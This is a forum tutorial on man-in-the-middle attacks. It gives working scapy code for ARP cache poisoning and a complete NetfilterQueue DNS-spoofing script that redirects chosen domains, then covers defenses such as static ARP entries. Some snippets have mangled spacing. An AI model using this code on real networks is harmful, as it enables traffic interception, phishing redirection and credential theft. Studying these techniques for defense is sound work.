The Art of Man-in-the-Middle Attack

Hi People all right? A few years ago I began coding a packet sniffer module using scapy for the WiFi-Pumpkin tool of the PocL4bs Team, where I am the main dev. It’s just that I’m here to show you some interesting things that I learned in the development process.

When I started implementing the TCP proxy module, before that I was looking for a better way to do DNS request redirect using scapy without appealing to iptables (directly). The idea was to create a dns spoof that can redirect some selected domain to a phishing page for example, in the case of WP that does not have to do arpspoof since the data of the victim already goes through attacker, with that idea in mind I started to seek information about.

Intruders

If you do not know how a man-in-the-middle attack works, let me explain to you.

“The wikipedia tells me that” Man-in-the-middle (man in the middle, in reference to the attacker who intercepts the data) is a form of attack in which the data exchanged between two parties (eg you and his bank), are somehow intercepted, recorded and possibly altered by the attacker without the victims noticing. "

That is the explanation is correct and technically speaking works the following way, say that somehow the attacker needs to make the packets sent by the victim ( unprotected ) need to go through it and then be sent to the destination host or rather, to the server. In this way, it is possible to modify the packages (of the protocol http) in the way that we want and then make modifications such as: remove header, add header, remove information, change the body code of the request, redirect to another website and finally capture the credentials ( PASSWORD ) committed by the victim. There are several ways to make this type of attack one of hers and more common is to make a change in the network causing the data before being sent to the local gateway be sent to you and soon after it is sent to the actual destination the original webserver of the request.

It is possible to do this, using a tool called arpspoof (it comes by default installed in kali linux) in the local network, you can program your own arpspoof (with python same) We’ll get there soon. The idea behind (arpspoof) or rather of the attack on the arp protocol is to make a change to the arp (Address Resolution Protocol - RFC 826) table in such a way which can confuse the gateway and the target machine, in fact, this mocking will cause all packets that would previously be sent to the gateway to be sent to the attacker machine that is now being the new router local network. the diagram looks like this:

  +-------------+  <--------------------------+  +-------------+  ----->  +---------------+
  |    Target     |     Original Trajectory        |  Router     |          | Web application |
  +----+---+----+  +-------------------------->  +----+---+----+  <-----  +---------------+
       ^ X |                                          | X ^
       | X v                                          v X |
       | X   New trajectory created by attacker       X |
       | X +-----------> +---------------+  <---------+ X |
       | XXXXXXXXXXXXXXX |   attacker    |  XXXXXXXXXXXXX |
       <-----------------+               +---------------->
                         |   arpspoof    |
                         +---------------+

Note that in this scenario we have the following situation: Target after the arpspoof attack is performed ends up sending the data, which would normally be sent to the router to later send to the web application, to the attacker on the local network. In this way, the attacker has complete control over the data sent and received (in HTTP) from the client. The Attacker is at all times sending arp packets to the target and the gateway simultaneously so that the router can “find” that the Attacker is the Target , and Target will eventually find that router is the Striker machine, so we get the famous attack of man-in-the-middle . Just remembering that this process is not complicated as you can imagine, if you choose a simple language like python it is very easy to implementation.

Settings

Before you want to go around redirecting packages, you first need to know how that is possible. In Linux it is possible to make some settings at the kernel level to make it forward or routing on a network. That is to say that it is possible to put a machine between two or more network segments, allowing the free passage of packets between them whenever necessary, only remembering that this parameter has already disabled (0 ) by default in linux. This modification is “set” in the parameters of the linux kernel, ( linux class ) basically we have two types of parameters in linux, the runtime that you can change with the kernel running and the more fixed parameters that people can change during boot, in grub, and summarizing you can do the following ways:

sudo sysctl -w net.ipv4.ip_forward=1

or

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Using any of the alternatives you will get the same result, change ip_forward to enable or 1 it is still possible to make this permanent change, which would not be our case after finishing the experiment always disable this option.

Packets on the fly

Usually this part is what many tutorials on the internet end up appealing to iptables , which serves to add a firewall rule in order to redirect DNS requests to the attacker’s machine. However, using iptables ends up losing performance because all the packets for port 53 will be redirected to a particular service, which usually has a webservices running a fake page from some site, generating a delay on the connection. With that in mind, I decided to research how to improve this interaction in such a way that it can be better utilized and that it could have greater and more direct control in the network. Some days passed and I ended up finding a lib in python that solved my problems and even better part without implementing from scratch. the python module is NetfilterQueue.

NetfilterQueue provides access to packets matched by an
iptables rule in Linux. Packets are matched can be accepted,
 dropped, altered, or given a mark.

Visit the above site and try to install it on your linux operating system, notice that it depends on a lib called libnetfilter-queue-dev that actually does it all work since it is an API to manipulate packets that were queued by the kernel packet filter.

To understand how NFqueue works we need to understand how the architecture inside the Linux kernel works. When a packet is sent to a destination NFqueue , it is barred and queued (QUEUE) to a queue that corresponds to the --queue-num (by default 1) option number.

iptables -I INPUT -d 192.168.0.0/24 -j NFQUEUE --queue-num 1

This packet queue is implemented as a threaded list, which elements are packets and metadata (linux skb socket buffer), when you have a time search about the protocol that is between the userspace and kernel called nfnetlink , without spoiler. Look how simple it is to use this module to control the flow of packets on the network.

from netfilterqueue import NetfilterQueue

def print_and_accept(pkt):
    print(pkt)
    pkt.accept()

nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()

Imagine now you do from scapy.all import \ * \ : D.

we can also use this method to do malware analysis that somehow communicates on a specific port or even a specific packet type. for example, you can control the packets sent to a particular port and modify it as you want.

iptables -A OUTPUT -p tcp –dport 1337 -j NFQUEUE

def callbackPackets(i, payload):
  data = payload.get_data()
  print(data)


if __name__ == '__main__':
  q = nfqueue.queue()
  q.open()
  q.bind(socket.AF_INET)
  q.set_callback(callbackPackets)
  q.create_queue(0)

  try:
    q.try_run()
  except KeyboardInterrupt:
    print "Exiting..."
    q.unbind(socket.AF_INET)
    q.close()
    sys.exit(1)

If we import the scapy module we can mock, reassemble, extract and send the package. With this idea I decided to create my own dnsspoof that would create a UDP port 53 handler to filter only the packets that would be DNS requests and thus allowing redirection for any webservice . The scapy supports to detect any type of packages without having to make in the hand, it is even possible to know until the layer before making any modification in the package avoiding broken packages for not being of the same type.

OBS:

Just remembering that I had an extremely difficult time to run this threaded code in the trials the application froze (honestly I do not know why it might be by using this type of filter), I had to run on another Process thread separately.

DNS (Domain Name System)

If you do not know TCP / IP strongly suggest you read the book “tcp illustrated” or read the RFC even though an old book has not changed much, just added a few layers. definition:

The Domain Name System (DNS) is a hierarchical decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities.

The DNS protocol uses UDP (User Datagram Protocol), I do not know if it’s right (search for it and correct it if necessary) but the UDP protocol is used because the requests need to be fast and because TCP is much more annoying to work because they are more “safe”, the best option is to use UDP itself. The associated port as I mentioned above is the 53 for server requests, the DNS queries are requests sent as if it was a request a request sent by the client the server needs to send another packet UDP reply. DNS packets overview:

With scapy module we can rewrite this type of request very easy, and later to assemble a new package containing the modified request. In this way, we can disassemble the package that the client sent and just get the query where it contains the domain that it wants to access type example.com .

def callback(self,packet):
    payload = packet.get_payload()
    pkt = IP(payload)
    if not pkt.haslayer(DNSQR):
        packet.accept()
    else:
        print(pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]) # www.example.com
###[ DNS Resource Record ]###
   rrname= 'www.example.com.'
   type= A
   rclass= IN
   ttl= 294
   rdlen= 4
   rdata= '93.184.216.34'

We can reassemble the packet by modifying only rdata containing the IP address of the web server, we can still redirect the client to any webserver without changing the URL in the browser.

spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata='IP TO REDIRECT'))
packet.set_payload(str(spoofed_pkt))
send(spoofed_pkt,verbose=False)
packet.accept()
###[ DNS Resource Record ]###
   rrname= 'www.example.com.'
   type= A
   rclass= IN
   ttl= 294
   rdlen= 4
   rdata= 'IP TO REDIRECT'

As I already mentioned before scapy already support to create a new packet from zero taking the information contained in the original packet, this helps a lot because doing this in hand byte to byte requires time and money, of course that way the you will learn much more about the packet fields and the protocol itself. a good practice is to use scapy + wireshark to do this type of analysis.

ARP spoofing or ARP cache poisoning

You reader will think about how to defend against this type of attack, of course I will present some solutions, because it is a simple attack to do and most of the times the attacker succeeds whatever his intention, even to take the connection with the internet as some applications do on android, for example WiFikill that uses this same technique from a “rootiado” device. just stop flashing your mind wiki:

ARP spoofing or ARP cache poisoning is a technique in which an attacker sends Address Resolution Protocol (ARP) messages in order to associate their MAC address with the IP address of another host, such as the IP address of the default gateway, all traffic is sent to the attacker’s IP address instead of the gateway’s IP address.

Interpreting the above text, he said that the only thing the attacker does is to send packets or messages of type ARP to force the client or the victim to send the requests to him. Knowing this, the only information he needs at the moment is to know who the gateway is, or rather who is the MAC (Media Access Control) of the gatway, and the MAC of the victim that is very simple to detect on a LAN (local area networks - LAN) .s

To mount our ARP spoofing packet, we need only two information as I mentioned above sourceMac and destMAC , I will not explain each of the packet fields because this information is your own friend. diagram:

arp packet

thread 1

In practice it looks like this:

self.srcAddress = 'GATEWAY'
self.dstAddress = 'TARGET'
self.mac = 'ATTACKER'

ether = Ether (dst = 'ff: ff: ff: ff: ff: ff', src = self.mac)
parp = ARP (hwtype = 0x1, ptype = 0x800, hwlen = 0x6, plen = 0x4,
op = "is-at", hwsrc = self.mac, psrc = self.srcAddress, hwdst =
'ff: ff: ff: ff: ff: ff', pdst = self.dstAddress)
padding = Padding (load = "\ x00" * 18)
packet_arp = ether / parp / padding

ATTACKER - “hello gateway, from now I am the TARGET machine, so whatever you send to this MAC send it to me”

thread 2


self.srcAddress = 'TARGET'
self.dstAddress = 'GATEWAY'
self.mac = 'ATTACKER'

ether = Ether (dst = 'ff: ff: ff: ff: ff: ff', src = self.mac)
parp = ARP (hwtype = 0x1, ptype = 0x800, hwlen = 0x6, plen = 0x4,
op = "is-at", hwsrc = self.mac, psrc = self.srcAddress, hwdst =
'ff: ff: ff: ff: ff: ff', pdst = self.dstAddress)
padding = Padding (load = "\ x00" * 18)
packet_arp = ether / parp / padding

ATTACANT - “Hi TARGET, from now on I’m GATEWAY, so whatever you send this Mac send to me”

This running on a separate thread and sending repeatedly, simple like that.

As you can see above, the two threads have something similar, which changes only srcAddress and dstAddress . So we can write a universal thread and just pass the parameters to each instance of the threads or do everything in one thread even if you choose, it looks like this:

from threading import Thread
from scapy.all import *

class ThreadARPPoison (Thread):
    def __init __ (self, srcAddress, dstAddress, mac):
        Thread .__ init __ (self)
        self.srcAddress = srcAddress
        self.dstAddress = dstAddress
        self.mac = mac
        self.process = True

    def makePacket (self):
        ether = Ether (dst = 'ff: ff: ff: ff: ff: ff', src = self.mac)
        parp = ARP (hwtype = 0x1, ptype = 0x800, hwlen = 0x6, plen = 0x4,
        op = "is-at", hwsrc = self.mac, psrc = self.srcAddress, hwdst =
        'ff: ff: ff: ff: ff: ff', pdst = self.dstAddress)
        padding = Padding (load = "\ x00" * 18)
        packet_arp = ether / parp / padding
        return packet_arp

    def run (self):
        print ('[*] starting thread')
        pkt = self.makePacket ()
        while self.process:
            send (pkt, verbose = False, count = 3), sendp (pkt, verbose = False, count = 3)

    def stop (self):
        self.process = False
        print ('[!] stop thread')

But how will I know if the attack is really working? To answer this question we came back to the network knowledge, so that such an attack would work something would have to be changes and this thing is exhausting the ARP table that in this case, as you are doing these tests in a simulated environment we can check if these modifications They really are happening. on windows just open cmd and type the command below:

arp -a

This command is basically to check if the arp table is “poisoned” as people often refer to, the output of this command goes something like this:

C: \ Users \ lab> arp -a

Interface: 10.0.2.15 --- 0xb
  IP Address Physical Address Type
  Dynamic 10.0.2.1 01-00-5e-00-00-16 (Gateway)
  Dynamic 10.0.2.34 54-ff-32-a5-5c-b4
  Dynamic 10.0.0.22 01-00-5e-00-00-16 (Forward)

C: \ Users \ lab>

Note that the attacker’s physical address is the same as the gateway’s physical address, meaning that someone is poisoning the arp table so that the data is diverted. This way, the attacker is able to read and modify absolutely all packages in real time.

Dnspoof code using NetfilterQueue module:

#!/usr/bin/env python
import argparse
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
from scapy.all import *
from netfilterqueue import NetfilterQueue

"""
Description:
    This program is a module for wifi-pumpkin.py file which includes new implementation
    for Dns spoof Attack with NetfilterQueue and iptables.

Copyright:
    Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>
"""

class DnsSpoofNetFilter(object):
    def __init__(self):
        """ implementation Dnsspoof with Netfilterqueue modules"""
        description = "Module DNS spoofing v0.1"
        usage = "Usage: use --help for futher information"
        parser = argparse.ArgumentParser(description = description, usage = usage)
        parser.add_argument('-d','--domains', dest = 'domains', help = 'Specify the domains', required = True)
        parser.add_argument('-r', '--redirect', dest = 'redirect',  help = 'Redirect host ', required = True)
        self.args = parser.parse_args()

    def callback(self,packet):
        payload = packet.get_payload()
        pkt = IP(payload)
        if not pkt.haslayer(DNSQR):
            packet.accept()
        else:
            if pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1] in self.domain:
                self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src,
                self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]))
                spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
                packet.set_payload(str(spoofed_pkt))
                send(spoofed_pkt,verbose=False)
                packet.accept()
            elif len(self.domain) == 1 and self.domain[0] == '':
                self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src,
                self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]))
                spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect))
                packet.set_payload(str(spoofed_pkt))
                send(spoofed_pkt,verbose=False)
                packet.accept()
            else:
                packet.accept()

    def main(self):
        self.redirect, self.domain = self.args.redirect, self.args.domains.split(',')
        self.q = NetfilterQueue()
        self.q.bind(0, self.callback)
        self.q.run()

if __name__ == "__main__":
    dnsspoof = DnsSpoofNetFilter()
    dnsspoof.main()

Spoof ARP Protections

To protect yourself from this type of attack, you can avoid accessing unknown / public networks. In addition, using VPN is a good way to avoid this and any other type of LAN-type attack. Another very recommended way is to use static arp table addresses, ie when you enter a static entry in the teblea ARP, informs to your computer that the router’s mac address is permanent and will not be changed. Therefore, your computer ignores any fake ARP packets sent by the attacker.

netsh ipv4 interface add neighbors "Local Area Connection" MAC Gateway

For mobile the tip is to use applications to detect if access point is really true, yes there are free applications that analyze the type of packet sent and thus to know if there is a hostapd , another simple tip is not to use the browser of your device even chrome which has protections like HSTS and etc. Last but not least we have the best solution of all, this is the solution that works for any operating system, “remove the cable from the internet or router”. That’s all, folks.

Conclusion

So while man-in-the-middle is an old technique, it still provides a very big deal for the average user and business in general. Analyzing the results obtained, we have to use NetfilterQueue is the best option, since we have more control over the package we can use for different purposes: malware analysis and vulnerability search in web applications. In the end, the possibilities are many just depends now on your creativity,
I hope you helped some curious like me who is always learning new things.

Any criticism can leave in the comments strongly recommend: D, until the near future.

reveal that, this is my first paper in english
by: Marcos Bomfim a.k.a mh4x0f

References:

https://gist.github.com/mh4x0f/25ba9dabe29541c2c269f92c9e179855
https://en.wikipedia.org/wiki/Attack_man-in-the-middle
http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
https://en.wikipedia.org/wiki/ARP_spoofing
http://ispipdatanetworks-learning.blogspot.com/2015/10/arp-packet-format-and-different-types.html
https://serverfault.com/questions/102736/persistent-static-arp-entries-on-windows-is-it-possible
https://superuser.com/questions/391108/how-can-i-add-an-active-arp-entry-on-win-7
22 Likes

Very well explained, Marcos. Congratulation for your first English paper :partying_face:

2 Likes

I didnt know there was more to MITM attacks, this is amazing! Great writeup!

1 Like

Thank you, Good job!
Hope to see more of your write ups in the future

2 Likes

This topic was automatically closed after 30 days. New replies are no longer allowed.